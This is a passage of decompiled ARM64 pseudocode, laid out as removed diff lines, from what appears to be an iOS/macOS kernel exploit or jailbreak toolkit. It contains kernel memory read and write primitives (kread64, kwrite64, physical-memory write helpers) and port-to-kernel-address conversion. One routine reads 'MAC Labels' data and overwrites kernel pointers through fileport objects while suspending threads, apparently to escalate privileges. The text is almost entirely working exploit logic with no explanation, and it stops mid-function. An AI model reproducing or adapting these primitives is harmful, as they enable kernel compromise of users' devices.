!(_DWORD)v9 ) - { - v9 = sub_37F58(a1, a3, &v29); - if ( !(_DWORD)v9 ) - { - v10 = *(unsigned int *)(a1 + 0x180); - v11 = vm_allocate(mach_task_self_, &address, v10, 1); - if ( v11 ) - { - v9 = v11 | 0x80000000; - } - else - { - sub_38D60(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (void *)address, v10, 1); - v9 = v13; - if ( !(_DWORD)v13 ) - { - v14 = (*(_QWORD *)(a1 + 0x188) & a2) + address; - v15 = v27; - v16 = *(_QWORD *)(v14 + v27); - if ( v16 && !validate_addr(a1, v16) ) - { - v9 = 0x28026LL; - } - else - { - physwritebuf_idk_MAYBENOTSURE(a1, v15 + a2, &v29, *(_DWORD *)(a1 + 0x168), 1); - v9 = v17; - if ( !(_DWORD)v17 ) - { - v9 = 0x28011LL; - if ( !a4 - || *(_DWORD *)(v14 + v26) <= 3u - && (v18 = v25, *(_DWORD *)(v14 + v25) <= 0xB71B00u) - && (v23 = 1, physwritebuf_idk_MAYBENOTSURE(a1, v26 + a2, &v23, 4u, 1), v9 = v19, !(_DWORD)v19) - && (v22 = 0xB71B00, physwritebuf_idk_MAYBENOTSURE(a1, v18 + a2, &v22, 4u, 1), v9 = v20, !(_DWORD)v20) ) - { - v9 = 0x28011LL; - if ( *(unsigned __int16 *)(v14 + v24) <= 0x7Fu ) - { - physwritebuf_idk_MAYBENOTSURE(a1, v24 + a2, &v30, 2u, 1); - v9 = v21; - } - } - } - } - } - } - if ( address && (_DWORD)v10 ) - vm_deallocate(mach_task_self_, address, v10); - } - } - return v9; -} -// 38248: variable 'v13' is possibly undefined -// 38290: variable 'v17' is possibly undefined -// 382EC: variable 'v19' is possibly undefined -// 38310: variable 'v20' is possibly undefined -// 38348: variable 'v21' is possibly undefined - -//----- (0000000000038378) ---------------------------------------------------- -__int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) -{ - __int64 v8; // x8 - _QWORD *i; // x9 - unsigned __int64 v10; // x10 - - if ( *(int *)(a1 + 0x140) < 0x1809 ) - return a2 - a3 + a4; - if ( !*(_QWORD *)(a1 + 0x1A18) && (unsigned int)sub_38428(a1) ) - return 0LL; - v8 = *(unsigned int *)(a1 + 0x18A0); - if ( !(_DWORD)v8 ) - return a2 - a3 + a4; - for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) - { - v10 = i[0xFFFFFFFE]; - if ( v10 <= a4 && *i + v10 > a4 ) - break; - if ( !--v8 ) - return a2 - a3 + a4; - } - return a4 - v10 + i[0xFFFFFFFF]; -} - -//----- (0000000000038428) ---------------------------------------------------- -__int64 __fastcall sub_38428(__int64 a1) -{ - unsigned __int64 v2; // x20 - unsigned __int64 v3; // x0 - int v4; // w8 - bool v5; // zf - __int64 v7; // x21 - unsigned __int64 v8; // x22 - __int64 v9; // x9 - __int64 v10; // x10 - _QWORD *v11; // x11 - __int64 v12; // [xsp+0h] [xbp-40h] BYREF - __int64 v13; // [xsp+8h] [xbp-38h] - __int64 v14; // [xsp+10h] [xbp-30h] - - v2 = *(_QWORD *)(a1 + 0x1898); - if ( v2 ) - { - if ( !*(_DWORD *)(a1 + 0x18A0) ) - return 0LL; - } - else - { - LODWORD(v12) = 0; - v3 = sub_1E85C(*(__int64 **)(a1 + 0x19F8), (int *)&v12); - v4 = v12; - if ( v3 ) - v5 = (_DWORD)v12 == 0; - else - v5 = 1; - if ( v5 ) - return 0xAD011LL; - v2 = v3; - *(_QWORD *)(a1 + 0x1898) = v3; - *(_DWORD *)(a1 + 0x18A0) = v4; - } - v7 = 0LL; - v8 = 0LL; - while ( 1 ) - { - v12 = 0LL; - v13 = 0LL; - v14 = 0LL; - if ( !(unsigned int)kreadbuf_last_1(a1, v2 + v7, 0x18LL, (__int64)&v12) ) - break; - v9 = v13; - v10 = v14; - if ( (*(_DWORD *)a1 & 0x20) != 0 ) - v10 = v14 << 0xE; - v11 = (_QWORD *)(a1 + v7); - v11[0x341] = v12; - v11[0x342] = v9; - v11[0x343] = v10; - ++v8; - v7 += 0x18LL; - if ( v8 >= *(unsigned int *)(a1 + 0x18A0) ) - return 0LL; - } - return 0x2800FLL; -} - -//----- (0000000000038544) ---------------------------------------------------- -__int64 __fastcall sub_38544(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) -{ - __int64 v8; // x8 - _QWORD *i; // x9 - unsigned __int64 v10; // x10 - - if ( *(int *)(a1 + 0x140) < 0x1809 ) - return a3 - a2 + a4; - if ( !*(_QWORD *)(a1 + 0x1A18) && (unsigned int)sub_38428(a1) ) - return 0LL; - v8 = *(unsigned int *)(a1 + 0x18A0); - if ( !(_DWORD)v8 ) - return a3 - a2 + a4; - for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) - { - v10 = i[0xFFFFFFFF]; - if ( v10 <= a4 && *i + v10 > a4 ) - break; - if ( !--v8 ) - return a3 - a2 + a4; - } - return a4 - v10 + i[0xFFFFFFFE]; -} - -//----- (00000000000385F4) ---------------------------------------------------- -__int64 __fastcall sub_385F4(__int64 a1, unsigned __int64 a2) -{ - __int64 v4; // x1 - __int64 v5; // x2 - __int64 result; // x0 - __int64 v7; // x21 - __int64 v8; // [xsp+0h] [xbp-30h] BYREF - __int64 v9; // [xsp+8h] [xbp-28h] BYREF - - v8 = 0LL; - v9 = 0LL; - v4 = *(_QWORD *)(a1 + 0x18A8); - if ( v4 ) - { - v5 = *(_QWORD *)(a1 + 0x18B0); - v8 = v5; - v9 = v4; - return sub_38544(a1, v4, v5, a2); - } - result = sub_32D24(a1); - if ( result ) - { - result = sub_3492C(a1, result); - if ( result ) - { - v7 = result; - if ( !(unsigned int)kread64(a1, result, &v9) || !(unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v8) ) - return 0LL; - v5 = v8; - v4 = v9; - *(_QWORD *)(a1 + 0x18A8) = v9; - *(_QWORD *)(a1 + 0x18B0) = v5; - return sub_38544(a1, v4, v5, a2); - } - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000386AC) ---------------------------------------------------- -__int64 __fastcall sub_386AC(__int64 a1, unsigned __int64 a2) -{ - __int64 v4; // x1 - __int64 v5; // x2 - __int64 result; // x0 - __int64 v7; // x21 - __int64 v8; // [xsp+0h] [xbp-30h] BYREF - __int64 v9; // [xsp+8h] [xbp-28h] BYREF - - v8 = 0LL; - v9 = 0LL; - v4 = *(_QWORD *)(a1 + 0x18A8); - if ( v4 ) - { - v5 = *(_QWORD *)(a1 + 0x18B0); - v8 = v5; - v9 = v4; - return sub_38378(a1, v4, v5, a2); - } - result = sub_32D24(a1); - if ( result ) - { - result = sub_3492C(a1, result); - if ( result ) - { - v7 = result; - if ( !(unsigned int)kread64(a1, result, &v9) || !(unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v8) ) - return 0LL; - v5 = v8; - v4 = v9; - *(_QWORD *)(a1 + 0x18A8) = v9; - *(_QWORD *)(a1 + 0x18B0) = v5; - return sub_38378(a1, v4, v5, a2); - } - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000038764) ---------------------------------------------------- -__int64 __fastcall sub_38764(__int64 a1) -{ - pthread_mutex_t *v2; // x20 - int v3; // w0 - int v4; // w8 - __int64 result; // x0 - unsigned __int64 i; // x8 - __int64 v7; // x20 - __int64 v8; // x1 - __int64 v9; // x2 - _OWORD v10[8]; // [xsp+0h] [xbp-B0h] BYREF - - memset(v10, 0, sizeof(v10)); - v2 = (pthread_mutex_t *)(a1 + 0x268); - v3 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268)); - if ( v3 ) - { - if ( v3 >= 0 ) - v4 = v3; - else - v4 = -v3; - return v4 | 0x40000000u; - } - else - { - for ( i = 0LL; i != 0x80; i += 0x10LL ) - { - if ( *(_QWORD *)(a1 + i + 0x2B0) && *(_DWORD *)(a1 + i + 0x2B8) ) - { - v10[i / 0x10] = *(_OWORD *)(a1 + i + 0x2B0); - *(_OWORD *)(a1 + i + 0x2B0) = 0uLL; - } - } - pthread_mutex_unlock(v2); - v7 = 0LL; - while ( 1 ) - { - v8 = *(_QWORD *)&v10[v7]; - if ( v8 ) - { - v9 = DWORD2(v10[v7]); - if ( (_DWORD)v9 ) - { - result = sub_36E4C(a1, v8, v9); - if ( (_DWORD)result ) - break; - } - } - if ( ++v7 == 8 ) - return 0LL; - } - } - return result; -} - -//----- (0000000000038870) ---------------------------------------------------- -__int64 __fastcall sub_38870(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - vm_size_t v6; // x27 - int v7; // w8 - __int64 v8; // x21 - kern_return_t memory_entry; // w0 - __int64 v12; // x22 - unsigned __int64 v13; // x0 - __int64 v14; // x0 - __int64 v15; // x24 - __int64 v17; // x8 - __int64 v18; // x9 - _QWORD *v19; // x9 - __int64 v20; // t1 - __int64 v21; // x11 - unsigned __int64 v22; // x0 - vm_address_t v23; // x1 - int v24; // [xsp+14h] [xbp-BCh] BYREF - mem_entry_name_port_t object_handle[2]; // [xsp+18h] [xbp-B8h] BYREF - vm_size_t size; // [xsp+20h] [xbp-B0h] BYREF - vm_address_t address; // [xsp+28h] [xbp-A8h] BYREF - __int128 v28; // [xsp+30h] [xbp-A0h] BYREF - __int128 v29; // [xsp+40h] [xbp-90h] - __int128 v30; // [xsp+50h] [xbp-80h] - __int128 v31; // [xsp+60h] [xbp-70h] - - *(_QWORD *)(a3 + 0x30) = 0LL; - *(_OWORD *)(a3 + 0x10) = 0u; - *(_OWORD *)(a3 + 0x20) = 0u; - *(_OWORD *)a3 = 0u; - address = 0LL; - v6 = vm_page_size; - *(_QWORD *)object_handle = 0LL; - v7 = *(_DWORD *)(a1 + 0x140); - v8 = 0x2802CLL; - if ( v7 > 0x2257 ) - { - if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) - return v8; - } - else if ( (unsigned int)(v7 - 0x1F53) >= 2 && v7 != 0x1809 && v7 != 0x1C1B ) - { - return v8; - } - v28 = 0u; - v29 = 0u; - v30 = 0u; - v31 = 0u; - size = vm_page_size; - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle[1], 0); - if ( memory_entry ) - { - v12 = 0LL; -LABEL_15: - v8 = memory_entry | 0x80000000; - goto LABEL_20; - } - v13 = port_name_to_kaddr(a1, object_handle[1]); - v8 = 0x28026LL; - if ( !v13 - || (v14 = sub_33A88(a1, v13, 0)) == 0 - || (v15 = v14, v8 = 0xAD009LL, object_handle[0] = 0x40, pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268))) ) - { - v12 = 0LL; - goto LABEL_20; - } - v17 = *(unsigned int *)(a1 + 0x2A8); - v18 = a1 + 0x2A8 + 0x10 * v17; - v20 = *(_QWORD *)(v18 + 8); - v19 = (_QWORD *)(v18 + 8); - v12 = v20; - if ( v20 && (v21 = a1 + 0x10 * v17, *(_DWORD *)(v21 + 0x2B8)) ) - { - object_handle[0] = *(_DWORD *)(v21 + 0x2B8); - *v19 = 0LL; - *(_DWORD *)(v21 + 0x2B8) = 0; - if ( (_DWORD)v17 ) - *(_DWORD *)(a1 + 0x2A8) = v17 - 1; - pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x268)); - } - else - { - pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x268)); - v12 = sub_37210(a1, object_handle); - if ( !v12 ) - goto LABEL_20; - } - v22 = sub_35A50(a1, 0, &v24); - if ( v22 ) - { - LODWORD(v30) = (v15 - v22) >> v24; - DWORD1(v30) = 0x2000000; - *((_QWORD *)&v29 + 1) = 0LL; - HIDWORD(v30) = 0x140; - LODWORD(v31) = a2 / v6; - if ( (unsigned int)kwritebuf_last_1(a1, v12, (__int64)&v28, 0x40LL) ) - { - memory_entry = vm_map(mach_task_self_, &address, size, 0LL, 1, object_handle[1], 0LL, 0, 3, 3, 1u); - if ( memory_entry ) - goto LABEL_15; - v23 = address; - *(_DWORD *)address = 0; - memory_entry = vm_protect(mach_task_self_, v23, size, 0, 0); - if ( memory_entry ) - goto LABEL_15; - memory_entry = vm_protect(mach_task_self_, address, size, 0, 3); - if ( memory_entry ) - goto LABEL_15; - if ( sub_288A4(a1, v15 + 0x20, v12) ) - { - v8 = 0LL; - *(_DWORD *)(a3 + 0x34) = object_handle[1]; - *(_QWORD *)a3 = address; - *(_QWORD *)(a3 + 8) = v6; - *(_QWORD *)(a3 + 0x10) = v12; - *(_DWORD *)(a3 + 0x18) = object_handle[0]; - *(_DWORD *)(a3 + 0x1C) = 1; - return v8; - } - } - v8 = 0x28010LL; - } - else - { - v8 = 0xAD001LL; - } -LABEL_20: - if ( address && size ) - vm_deallocate(mach_task_self_, address, size); - if ( object_handle[1] + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object_handle[1]); - if ( v12 && object_handle[0] ) - sub_38C8C(a1, v12, object_handle[0]); - return v8; -} - -//----- (0000000000038BCC) ---------------------------------------------------- -double __fastcall sub_38BCC(__int64 a1, __int64 a2) -{ - __int64 v4; // x8 - double result; // d0 - - v4 = *(_QWORD *)(a2 + 0x10); - if ( v4 - && *(_QWORD *)a2 - && noppl_kwrite32(a1, v4 + *(unsigned int *)(a2 + 0x30), 0xFFFFFFFF) - && !vm_deallocate(mach_task_self_, *(_QWORD *)a2, *(_QWORD *)(a2 + 8) * *(unsigned int *)(a2 + 0x1C)) - && !mach_port_deallocate(mach_task_self_, *(_DWORD *)(a2 + 0x34)) ) - { - sub_38C8C(a1, *(_QWORD *)(a2 + 0x10), *(unsigned int *)(a2 + 0x18)); - } - *(_QWORD *)(a2 + 0x30) = 0LL; - result = 0.0; - *(_OWORD *)(a2 + 0x10) = 0u; - *(_OWORD *)(a2 + 0x20) = 0u; - *(_OWORD *)a2 = 0u; - return result; -} - -//----- (0000000000038C8C) ---------------------------------------------------- -__int64 __fastcall sub_38C8C(__int64 a1, __int64 a2, __int64 a3) -{ - pthread_mutex_t *v6; // x22 - int v7; // w0 - int v8; // w8 - __int64 v10; // x8 - __int64 *v11; // x9 - __int64 vars8; // [xsp+28h] [xbp+8h] - - v6 = (pthread_mutex_t *)(a1 + 0x268); - v7 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268)); - if ( v7 ) - { - if ( v7 >= 0 ) - v8 = v7; - else - v8 = -v7; - return v8 | 0x40000000u; - } - v10 = *(unsigned int *)(a1 + 0x2A8); - if ( (unsigned int)v10 <= 7 ) - { - v11 = (__int64 *)(a1 + 0x10 * v10 + 0x2B0); - while ( *v11 ) - { - ++v10; - v11 += 2; - if ( v10 == 8 ) - goto LABEL_10; - } - *(_DWORD *)(a1 + 0x2A8) = v10; - *v11 = a2; - *(_DWORD *)(a1 + 0x2A8 + 0x10LL * (unsigned int)v10 + 0x10) = a3; - pthread_mutex_unlock(v6); - return 0LL; - } -LABEL_10: - pthread_mutex_unlock(v6); - if ( !a2 ) - return 0LL; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_36E4C(a1, a2, a3); -} -// 38D20: variable 'vars8' is possibly undefined - -//----- (0000000000038D60) ---------------------------------------------------- -void __fastcall sub_38D60(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) -{ - void (*v9)(void); // x5 - _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF - __int64 vars8; // [xsp+68h] [xbp+8h] - - v9 = *(void (**)(void))(a1 + 0x38); - if ( v9 ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - v9(); - } - else if ( a5 - && (*(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0) - && !(unsigned int)physwrite_maybe(a1, a2, (__int64)v10) ) - { - memcpy(a3, (const void *)((*(_QWORD *)(a1 + 0x188) & a2) + v10[0]), a4); - sub_38BCC(a1, (__int64)v10); - } -} - -//----- (0000000000038E4C) ---------------------------------------------------- -void __fastcall physwritebuf_idk_MAYBENOTSURE(__int64 a1, __int64 a2, const void *a3, unsigned int a4, int a5) -{ - void (*v9)(void); // x5 - _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF - __int64 vars8; // [xsp+68h] [xbp+8h] - - v9 = *(void (**)(void))(a1 + 0x48); - if ( v9 ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - v9(); - } - else if ( a5 - && (*(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0) - && !(unsigned int)physwrite_maybe(a1, a2, v10) ) - { - memcpy((void *)((*(_QWORD *)(a1 + 0x188) & a2) + v10[0]), a3, a4); - sub_38BCC(a1, (__int64)v10); - } -} -// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); - -//----- (0000000000038F38) ---------------------------------------------------- -__int64 __fastcall sub_38F38(__int64 a1, __int64 a2, __int64 a3) -{ - if ( (unsigned int)kreadbuf_last_1(a1, a2 + 8, 2LL, a3) ) - return 0LL; - else - return 0x2800FLL; -} - -//----- (0000000000038F6C) ---------------------------------------------------- -__int64 __fastcall sub_38F6C(__int64 a1, __int64 a2, __int16 a3) -{ - __int16 v4; // [xsp+Eh] [xbp-2h] BYREF - - v4 = a3; - if ( (unsigned int)kwritebuf_last_1(a1, a2 + 8, (__int64)&v4, 2LL) ) - return 0LL; - else - return 0x28010LL; -} - -//----- (0000000000038FAC) ---------------------------------------------------- -__int64 __fastcall sub_38FAC(unsigned int a1) -{ - unsigned __int16 v1; // w8 - - v1 = a1 + 0xA; - if ( a1 > 0xFFF4 ) - v1 = 0xFFFE; - if ( a1 > 0xFFFD ) - return (unsigned __int16)a1; - return v1; -} - -//----- (0000000000038FD4) ---------------------------------------------------- -__int64 __fastcall sub_38FD4(__int64 a1, __int64 a2) -{ - __int64 v4; // x19 - __int64 v5; // x21 - __int16 v6; // w8 - unsigned __int16 v8; // [xsp+Ch] [xbp-24h] BYREF - __int16 v9; // [xsp+Eh] [xbp-22h] BYREF - - v4 = 0x2800FLL; - if ( !validate_addr(a1, a2) ) - return 0x28026LL; - v5 = a2 + 8; - if ( (unsigned int)kreadbuf_last_1(a1, v5, 2LL, (__int64)&v8) ) - { - if ( v8 <= 0xFFFDu ) - { - if ( v8 <= 0xFFF4u ) - v6 = v8 + 0xA; - else - v6 = 0xFFFE; - v8 = v6; - v9 = v6; - if ( (unsigned int)kwritebuf_last_1(a1, v5, (__int64)&v9, 2LL) ) - return 0LL; - else - return 0x28010LL; - } - else - { - return 0LL; - } - } - return v4; -} - -//----- (0000000000039090) ---------------------------------------------------- -__int64 __fastcall sub_39090(_QWORD *a1, __int64 a2) -{ - __int64 v4; // x8 - __int64 v5; // x21 - unsigned __int64 v6; // x1 - bool v7; // zf - __int64 v8; // x8 - __int64 result; // x0 - int v10; // w0 - __int64 v11; // x21 - __int64 v12; // x8 - bool v13; // zf - __int64 v14; // x8 - __int64 v16; // x9 - _BYTE v17[32]; // [xsp+8h] [xbp-48h] BYREF - __int64 v18; // [xsp+28h] [xbp-28h] - - v4 = a1[0x317]; - v5 = a1[0x31]; - v6 = a2 & ~v5; - if ( v4 ) - v7 = v4 == v6; - else - v7 = 0; - if ( v7 ) - { - v8 = a1[0x318]; - if ( v8 ) - return v8 + (v5 & a2); - } - sub_2183C((__int64)a1, v6, (__int64)v17); - if ( !v10 ) - return 0LL; - v11 = v5 & a2; - v12 = sub_386AC((__int64)a1, v18 & 0xFFFFFFFFC000LL); - result = 0LL; - v13 = v12 == 0; - if ( v12 ) - v14 = v12 + v11; - else - v14 = 0LL; - if ( !v13 && v14 != 0 ) - { - v16 = a1[0x31]; - a1[0x317] = a2 & ~v16; - a1[0x318] = v14 & ~v16; - return v14; - } - return result; -} -// 390E8: variable 'v10' is possibly undefined - -//----- (0000000000039150) ---------------------------------------------------- -__int64 __fastcall sub_39150(__int64 a1) -{ - __int64 v2; // x20 - __int64 v3; // x27 - task_inspect_t v4; // w22 - __int128 v5; // q0 - unsigned __int64 v6; // x0 - _QWORD *v7; // x21 - unsigned __int64 v8; // x23 - _BOOL4 v9; // w0 - _BOOL4 v10; // w8 - int v12; // w28 - mach_vm_address_t v13; // x0 - mach_vm_address_t v14; // x21 - __int16 v15; // w26 - thread_act_t v16; // w0 - mach_port_t v17; // w0 - int v18; // w23 - unsigned __int64 v19; // x0 - unsigned __int64 v20; // x23 - __int64 v21; // x8 - char v22; // w9 - char v23; // w21 - int v24; // w0 - __int64 k; // x20 - int v26; // w0 - unsigned __int64 v27; // x23 - unsigned __int64 i; // x23 - mach_port_t v29; // w8 - thread_act_t v30; // w0 - thread_act_array_t v31; // x8 - __int64 v32; // x22 - mach_port_t v33; // w8 - thread_act_t v34; // w0 - __int64 v35; // x23 - int v36; // w23 - int v37; // w8 - unsigned __int64 j; // x22 - mach_port_t v39; // w8 - thread_act_t v40; // w0 - __int64 v41; // x8 - __int64 v42; // x24 - bool v43; // zf - __int64 v44; // x28 - unsigned __int64 v45; // x22 - __int64 v47; // x8 - __int64 v48; // x24 - __int64 v49; // x27 - unsigned __int64 v50; // x0 - unsigned __int64 v51; // x22 - kern_return_t v52; // w0 - int v53; // w22 - int v54; // w8 - __int64 v55; // [xsp+10h] [xbp-110h] BYREF - __int64 v56; // [xsp+18h] [xbp-108h] BYREF - task_suspension_token_t suspend_token[2]; // [xsp+20h] [xbp-100h] BYREF - int v58[3]; // [xsp+28h] [xbp-F8h] BYREF - mach_msg_type_number_t act_listCnt; // [xsp+34h] [xbp-ECh] BYREF - thread_act_array_t act_list; // [xsp+38h] [xbp-E8h] BYREF - mach_port_name_t name; // [xsp+44h] [xbp-DCh] - __int64 v62; // [xsp+48h] [xbp-D8h] BYREF - _OWORD v63[3]; // [xsp+50h] [xbp-D0h] BYREF - _QWORD v64[7]; // [xsp+88h] [xbp-98h] BYREF - - v2 = *(_QWORD *)a1; - v3 = *(unsigned int *)(a1 + 8); - v62 = 0LL; - name = 0; - act_list = 0LL; - act_listCnt = 0; - v4 = *(_DWORD *)(v2 + 0x18F8); - *(_QWORD *)suspend_token = 0LL; - *(_QWORD *)v58 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)&v5 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v5 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v63[0] = v5; - v63[1] = v5; - v63[2] = v5; - v6 = sub_403E0(v2, "MAC Labels"); - if ( !v6 || (unsigned int)sub_4062C(v2, v6) ) - { -LABEL_6: - v10 = 0; - goto LABEL_7; - } - v7 = v64; - v8 = 0xFFFFFFFFFFFFFFFDLL; - while ( v8 ) - { - v9 = kread64_internal(v2, *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v8 + 4)), v7++); - ++v8; - if ( !v9 ) - goto LABEL_6; - } - v12 = 0x28026; - v13 = sub_34FF8(v2, mach_task_self_, suspend_token); - if ( v13 ) - { - v14 = v13; - v15 = suspend_token[0]; - if ( (suspend_token[0] & 0x400) != 0 || noppl_kwrite32(v2, v13, suspend_token[0] | 0x400) ) - { - v16 = mach_thread_self(); - if ( sub_2515C(v16) ) - { - v17 = mach_thread_self(); - v18 = sub_37A50((int *)v2, v17, 1, 1, 0x60); - if ( v18 ) - goto LABEL_20; - thread_switch(0, 2, 0xAu); - if ( pipe(v58) || (unsigned int)j__fileport_makeport() ) - { - __error(); - __error(); - v18 = 0x28026; - if ( (v15 & 0x400) != 0 ) - goto LABEL_22; -LABEL_21: - noppl_kwrite32(v2, v14, suspend_token[0]); - v12 = v18; - goto LABEL_22; - } - v19 = port_name_to_kaddr(v2, name); - if ( v19 ) - { - v20 = v19; - if ( !mach_port_deallocate(mach_task_self_, name) ) - { - name = 0; - v27 = v20 + 0x58; - if ( kread64_internal(v2, v27, &v62) - && validate_addr(v2, v62) - && kwrite64(v2, v27, *(_QWORD *)(v2 + 0x18F0)) ) - { - if ( v4 == mach_task_self_ ) - { - if ( !task_threads(v4, &act_list, &act_listCnt) ) - { - if ( act_listCnt ) - { - for ( i = 0LL; i < act_listCnt; ++i ) - { - if ( act_list[i] + 1 >= 2 ) - { - v29 = mach_thread_self(); - v30 = act_list[i]; - if ( v29 != v30 ) - thread_suspend(v30); - } - } - } - goto LABEL_46; - } - } - else if ( !task_suspend2(v4, &suspend_token[1]) ) - { -LABEL_46: - if ( close(v58[0]) || (v58[0] = 0xFFFFFFFF, close(v58[1])) ) - { - __error(); - __error(); -LABEL_49: - if ( v4 == mach_task_self_ ) - { - v31 = act_list; - if ( act_list && act_listCnt ) - { - v32 = 0LL; - while ( 1 ) - { - if ( v31[v32] + 1 >= 2 ) - { - v33 = mach_thread_self(); - v34 = act_list[v32]; - if ( v33 != v34 ) - thread_resume(v34); - } - if ( ++v32 >= (unsigned __int64)act_listCnt ) - break; - v31 = act_list; - } - vm_deallocate(mach_task_self_, (vm_address_t)act_list, 4LL * act_listCnt); - } - } - else if ( suspend_token[1] + 1 >= 2 ) - { - task_resume2(suspend_token[1]); - suspend_token[1] = 0; - } - v18 = 0x28026; -LABEL_62: - v12 = 0x28026; - if ( (v15 & 0x400) != 0 ) - goto LABEL_22; - goto LABEL_21; - } - v35 = 0LL; - v58[1] = 0xFFFFFFFF; - while ( !pipe((int *)((char *)v63 + v35)) ) - { - v35 += 8LL; - if ( v35 == 0x30 ) - { - v18 = 0; - goto LABEL_71; - } - } - v36 = *__error(); - v37 = *__error(); - if ( v36 < 0 ) - v37 = -v37; - v18 = v37 | 0x40000000; -LABEL_71: - if ( v4 == mach_task_self_ ) - { - if ( act_listCnt ) - { - for ( j = 0LL; j < act_listCnt; ++j ) - { - if ( act_list[j] + 1 >= 2 ) - { - v39 = mach_thread_self(); - v40 = act_list[j]; - if ( v39 != v40 ) - thread_resume(v40); - } - } - } - } - else - { - if ( task_resume2(suspend_token[1]) ) - goto LABEL_49; - suspend_token[1] = 0; - } - if ( !v18 ) - { - v41 = 0x3B0LL; - do - { - v42 = v41 + 0x40; - if ( !*(_QWORD *)(v2 + v41) ) - break; - v43 = v41 == 0x570; - v41 += 0x40LL; - } - while ( !v43 ); - v44 = v42 - 0x38; - v45 = 0xFFFFFFFFFFFFFFFDLL; - v18 = 0x28011; - do - { - v56 = 0LL; - if ( !kread64_internal( - v2, - *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v45 + 4)), - &v56) ) - { - v18 = 0x2800F; - goto LABEL_62; - } - if ( !v56 ) - goto LABEL_62; - *(_QWORD *)(v2 + v44) = v56; - v44 += 8LL; - } - while ( !__CFADD__(v45++, 1LL) ); - v47 = 0LL; - *(_QWORD *)(v2 + v42 - 0x40) = *(_QWORD *)(v2 + 0x18F0); - do - { - v48 = v3 + 1; - if ( v47 != v3 ) - { - v48 = v47 + 1; - if ( !kwrite64( - v2, - *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v47 + 1)), - v64[v47]) ) - { - v18 = 0x28010; - goto LABEL_20; - } - } - v47 = v48; - } - while ( v48 != 3 ); - v49 = 0LL; - v18 = 0xAD011; - v12 = 0x28026; - while ( !(unsigned int)j__fileport_makeport() ) - { - v50 = port_name_to_kaddr(v2, name); - if ( !v50 ) - { - v12 = 0x2800E; - goto LABEL_123; - } - v51 = v50; - v52 = mach_port_deallocate(mach_task_self_, name); - if ( v52 ) - { - v12 = v52 | 0x80000000; - goto LABEL_123; - } - name = 0; - if ( !kread64_internal(v2, v51 + 0x58, &v55) ) - goto LABEL_113; - if ( !validate_addr(v2, v55) ) - goto LABEL_123; - if ( v55 == *(_QWORD *)(v2 + 0x18F0) ) - { - if ( kwrite64(v2, v51 + 0x58, v62) ) - v12 = 0; - else - v12 = 0x28010; - goto LABEL_123; - } - if ( !kread64((_DWORD *)v2, v51 + 0x38, &v56) ) - goto LABEL_113; - if ( !validate_addr(v2, v56) ) - goto LABEL_123; - if ( !kread64_internal(v2, v56 + 0xA0, &v55) ) - { -LABEL_113: - v12 = 0x2800F; - goto LABEL_123; - } - if ( !validate_addr(v2, v55) ) - goto LABEL_123; - if ( v55 == *(_QWORD *)(v2 + 0x18F0) ) - { - if ( !kwrite64(v2, v56 + 0xA0, v62) ) - { - v12 = 0x28010; - goto LABEL_123; - } - v18 = 0; - } - v49 += 4LL; - if ( v49 == 0x30 ) - goto LABEL_20; - } - v53 = *__error(); - v54 = *__error(); - if ( v53 < 0 ) - v54 = -v54; - v12 = v54 | 0x40000000; -LABEL_123: - v18 = v12; - if ( (v15 & 0x400) != 0 ) - goto LABEL_22; - goto LABEL_21; - } -LABEL_20: - v12 = v18; - if ( (v15 & 0x400) != 0 ) - goto LABEL_22; - goto LABEL_21; - } - } - } - } - } - v18 = 0x28026; - goto LABEL_20; - } - } -LABEL_22: - v21 = 0LL; - v22 = 1; - do - { - v23 = v22; - v24 = v58[v21]; - if ( v24 != 0xFFFFFFFF ) - close(v24); - v22 = 0; - v21 = 1LL; - } - while ( (v23 & 1) != 0 ); - for ( k = 0LL; k != 0x30; k += 4LL ) - { - v26 = *(_DWORD *)((char *)v63 + k); - if ( v26 != 0xFFFFFFFF ) - close(v26); - } - if ( name + 1 > 1 ) - mach_port_deallocate(mach_task_self_, name); - v10 = v12 == 0; -LABEL_7: - *(_DWORD *)(a1 + 0xC) = v10; - return 0LL; -} - -//----- (0000000000039888) ---------------------------------------------------- -unsigned __int64 __fastcall sub_39888(_DWORD *a1, unsigned __int64 a2) -{ - unsigned __int64 